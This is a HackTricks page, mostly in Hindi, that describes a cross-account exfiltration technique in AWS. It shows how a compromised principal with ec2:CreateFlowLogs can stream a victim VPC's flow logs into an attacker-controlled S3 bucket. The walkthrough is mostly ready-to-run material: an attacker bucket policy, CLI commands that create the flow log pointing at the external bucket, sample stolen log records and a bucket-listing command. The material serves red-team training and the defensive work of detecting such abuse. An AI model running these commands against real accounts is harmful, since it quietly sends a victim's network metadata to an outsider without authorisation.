AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सारांश

VPC, subnet, या ENI flow logs को सीधे attacker-controlled S3 bucket में export करने के लिए ec2:CreateFlowLogs का दुरुपयोग करें। एक बार जब delivery role external bucket में लिखने के लिए configured हो जाता है, तो monitored resource पर देखा गया हर connection victim account से stream हो जाता है।

आवश्यकताएँ

  • Victim principal: ec2:CreateFlowLogs, ec2:DescribeFlowLogs, और iam:PassRole (यदि delivery role आवश्यक/बनाया गया हो)।
  • Attacker bucket: S3 policy जो delivery.logs.amazonaws.com पर भरोसा करता हो और s3:PutObject तथा bucket-owner-full-control परमिशन देता हो।
  • Optional: logs:DescribeLogGroups यदि S3 की बजाय CloudWatch में export कर रहे हों (यहाँ आवश्यक नहीं)।

Attack Walkthrough

  1. Attacker attacker account में एक S3 bucket policy तैयार करता है जो VPC Flow Logs delivery service को objects लिखने की अनुमति देती है। लागू करने से पहले प्लेसहोल्डर्स बदलें:
json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}

attacker account से लागू करें:

bash
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
  1. Victim (compromised principal) attacker bucket को लक्षित करते हुए flow logs बनाता है:
bash
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"

कुछ ही मिनटों में, flow log files attacker bucket में दिखाई देने लगते हैं, जिनमें monitored VPC/subnet के सभी ENIs के कनेक्शनों के रिकॉर्ड होते हैं।

सबूत

attacker bucket में लिखे गए sample flow log रिकॉर्ड:

text
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK

Bucket listing का प्रमाण:

bash
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize

प्रभाव

  • monitored VPC/subnet/ENI के लिए निरंतर नेटवर्क मेटाडेटा exfiltration (source/destination IPs, ports, protocols).
  • बाहरी तौर पर victim account से traffic analysis, sensitive services की पहचान और संभावित security group misconfigurations की hunting सक्षम करता है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें